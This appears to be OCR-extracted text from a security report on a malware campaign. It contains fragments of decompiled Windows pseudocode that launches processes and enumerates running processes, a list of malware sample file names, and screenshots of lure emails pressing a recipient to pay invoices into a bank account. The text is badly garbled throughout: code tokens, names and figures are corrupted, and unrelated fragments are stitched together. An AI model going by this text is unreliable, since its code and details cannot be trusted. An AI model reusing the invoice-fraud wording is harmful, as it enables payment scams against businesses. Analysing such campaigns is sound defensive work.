if { vS || (v5 = strstr{&Dst, al)) *= 8 )
{
1strcpyA{us, Str);
¥
else
{
1strcatA{&Dbst, ::Source);
1strcatAa(&Dbst, Str);

¥
memset(&ui1&, B, Bx48u);
17y = 68;
ifF { a2 )
{
u19 = aWinstaBDefault;
¥
else
{
vze = 1;
vzl = B8;
¥

nCreateProcess(@, &0st, @, @8, 8, 8, @, 8, &i7, &li6);
result = 1;
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¥

Hb a
2019
Dp

int v6; // [sp+Ch] [bp-134h]@2

CHAR String2; /7 [sp+36h] [bp-116h]@4
FARPROC v8; // [sp+134h] [bp-Ch]@1
FARPROC v9; // [sp+138h] [bp-8h]@1
int v18; /7 [sp+13Ch] [bp-4h]@1

ul LoadLibraryf{HoduleHame) ;

w2 GetProcAddress{u1, aCreatetoolhelp);
uo GetProcAddress{ui, aProcess32first);
ulld = B;

ug GetProcAddress{vil, aProcess3Znext);
ud (vz2y{2, 8);

if { v3d )

{

ufh = 296
for { i
{
if ( *lstrcempifA{lpStringi, &String2) )
{

(U932, &uad: i 1 = (u8){vid, &UGY )

Uil = 1;
break;
¥
¥
H
CloseHandle{uw3);
ifF { vl )
FreeLibrary(vi);
return vid;

H u R B Ho A Ne
11 ™~ T% Hup 0 KV a
D h KM™ Y. A

EiR

|| 8559599943 i EE T T ES M beacon BHES SHEAETSH.com.bin
|| 859603214 /Myt IR E R A TR R A 2 322 exe.bin

| 1870230971 1A1R 0 e IR R B T exe.bin
|| 871825726_F2: ! | AR EE AMSTIRH.crnd bin

|| 871044287 2R ESFR LSS ERETT SRITIERRIA (2).cmd.bin
|| 872421473_2rhEEF MRS EEL SETTRE A .cnd bin

|| 873925912 B-F2/NEAFEIGETRIE | 15 MR (2).crnd.bin
|| 8vesTEE2E_FH-FIEREET &8 omdbin

|| 580750965 BRiTRerT iR Zip bin

|| 880680716_MHER X _E A" SR sATE T cmd bin

|| 882620108 _BHSAMTBE.cnd.bin

|| 891523746 B i b dEER | BEmSHEIHS Aamd.bin

b
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[T 7] =
IDING EREs ( " E
RE: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT & DOWN PAYMENT NEW ASIA PROJECT E
- | Vv

uliana [world trans]

42 'Nora', 'ruyi.zhou', 'ahmadunaids1984', 'dchan’, 'yulia', 'iva’, *

B2 I52EEE, 'dhdriyadl’, 'dhard’, 'wenny', 'arta’, 'artatilSad’, ...

FEA: uliana [world trans] <ulianas@ >
Wik A: "Nora' <nora@® o i >,I'ruyi.zhou‘Cruyi.zhou@l >
FOES: Wl | 1 - 3 1 ] : 1
. Tk + i 5t i
GLEEE | . i ) r atE i
] e 1 o |
B8l 2020868230 (B) 09:57 <D
/v 200 KB

Dear Mr. Ruyi Zhou

Have you transferred USD 7140,153 for down payment New Asia Project.
We waiting your bank slip by today because shipment has arrived
Regard's

Uliana

From: uliana [world trans] [mailto:ulianas@syeE s s

Sent: Monday, June 22, 2020 12:13 PM

To: 'Nora'; 'ruyi.zhou'

Cc: 'ahmadunaids1984'; 'dehan'; 'yulia’; iva’; '8 HEE, 'dhdriyadi’; 'dhard'; 'wenny'; 'arta’; 'artatil5ad’; 'nanda’
Subject: RE: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT & DOWN PAYMENT NEW ASIA PROJECT

Dear Mr. Ruyi Zhou

Have you transfer USD 7140,153 for down payment New Asia Project.

Re: Re: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT

2020-06-23 09:57 BEEE

|

ruyi.zhou
#42 Nora, uliana [world trans], ahmadunaids1984, dchan, yulia, iva, 2252, 5222, dh4riyadi, wenny, arta, artatil5ad, nanda

B ruyizhou <ruyizhou@ 1 -
Lf{{fFA:INorMnora@ - i I
ik ullera (rdd we e g [T 1
o P B ] 1 1 = P 1 L .
[ie = . E il g e =
e i = T 1
B4iEl: 2020565191 (FH) 1449
#4922 KB

‘E INV RTA New Asia.pdf (484 KB)

DEAR NORA:

dollar bill at the price of 8.5usd. We pay you in US dollars. thanks

EBEA : Nora <nora @i bl B i st douly

KikRtE: 2020-06-19 12:13

F#: Re: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT
WefEA : "ruyi.zhou" <ruyi.zhou @ s oe'ef Bkl

We just changed the settlement method with our customers today. So please fill in the attached bill to us, give us the US

- v
2020-06-19 14490 BERFEE




RE: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT

—
J—
>

GEE- {pEEEy pasy e $oEsE S

RE: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT

Nora

42 ‘ruyizhou', 'uliana [world trans]’, "ahmadunaids1984’, ‘dchan’, 'yulia', ‘iva’, '3

EfEA: Nora<nora@saall 1 Ei%ﬁj\
WA "ruyizhou' < ruyizhou@resegp = {‘jg%{j%ifx}\
FHE e feeorid e Ter P bk
= 1 la = L " ikl i
e - =T = =3 e 2] =
drad = ol i B AT 2 P ik
SRS ] kel < LD Vil : vom =
BIE: 20208568248 (A=) 13:01 D
Fx: 785 KB

[ Invoice Settlemen 70% IL.. (426 KB)|

Dear Mr.Ruyi Zhou,

CC. Mr. Tony Zhou,

Reminder .. !}

Please inform your payment.

End balances invoices of this shipment (JIP Semarang Project) that you should pf

Please make sure our account number :
Bank name : ]

Account number =57 HEES
Beneficiary name FLL Ay
Swift code L L ET
Bank code <l

Invoice Settlemen 70% JIP Semarang Project.pdf

Sub Tot:

Vi

Wt

Paid US
GRAND TOTA

Please make payment to
Beneficiary Name: FI. ‘arki 1 s
Beneficiary Account Number: i
Bank Name and Address:
A A LGRS AR WP
Bank Swift Code: megemay
Bank Code: B8

Please send bank slip to
Email: finance @ sl s i e il

HSWm ARITER

Authorized Signature :
1L AR TS

David Chandra
Director

. Invoice H
Invoice O 0
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